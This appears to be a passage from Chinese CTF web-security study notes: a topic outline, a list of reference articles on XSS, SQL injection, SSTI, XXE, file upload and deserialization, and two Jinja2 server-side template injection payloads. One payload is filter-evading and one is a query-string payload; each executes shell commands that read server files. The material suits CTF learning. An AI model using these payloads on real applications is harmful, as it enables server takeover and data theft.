- 尝试绕过过滤
- 寻找触发漏洞的方法
脚本编写
Payloads(实战积累)
XSS
SQL注入
SSTI
Python
{{config|attr('\x5f\x5fcla'~'ss\x5f\x5f')|attr('\x5f\x5fini'~'t\x5f\x5f')|attr('\x5f\x5fglob'~'als\x5f\x5f')|attr('\x5f\x5fgeti'~'tem\x5f\x5f')('o'~'s')|attr('popen')('cat /etc/h????')|attr('read')()}}
?name={{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
PHP
Java
CSRF
XXE
参考
- CTF中PHP相关题目考点总结(上) - FreeBuf网络安全行业门户
- CTF中PHP相关题目考点总结(下) - FreeBuf网络安全行业门户
- CTFshow web入门——php特性_小元砸的博客-CSDN博客_ctfshow web入门php特性
- Burp Collaborator 使用总结_aFa攻防实验室的博客-CSDN博客_burp collaborator // TODO!!
- ctf中php常见知识点总结 | npfs’s blog (npfs06.top)
- 文件解析漏洞总结 - 简书 (jianshu.com)
- CTF文件上传漏洞总结_Mitch311的博客-CSDN博客
- 文件上传各种检测绕过 - 请叫我阿毛 - 博客园 (cnblogs.com)
- php文件包含漏洞 | Chybeta
- php://filter的各种过滤器_天问_Herbert555的博客-CSDN博客_php://filter rot13
- CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore (gem-love.com)
- XSS学习思维导图_joker的暴击的博客-CSDN博客
- XSS总结 - 先知社区 (aliyun.com)
- flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)
- CTF 对SSTI的一些总结 - FreeBuf网络安全行业门户
- PYTHON SSTI的一些BYPASS - FreeBuf网络安全行业门户
- CSRF知识总结_zkzq的博客-CSDN博客
- CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户
- CTFSHOW]SSRF_Y4tacker的博客-CSDN博客
- CTF XXE - MustaphaMond - 博客园 (cnblogs.com)
- 利用EXCEL进行XXE攻击 - 先知社区 (aliyun.com)
- 绕过WAF保护的XXE - 先知社区 (aliyun.com)
- CTF中WEB题——RCE - tomyyyyy - 博客园 (cnblogs.com)
- SQL注入速查表 - FreeBuf网络安全行业门户
- sql注入总结 - FreeBuf网络安全行业门户
- sql注入总结复习 - FreeBuf网络安全行业门户
- CTF-PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化
- 利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户
版权归原作者 yjprolus 所有, 如有侵权,请联系我们删除。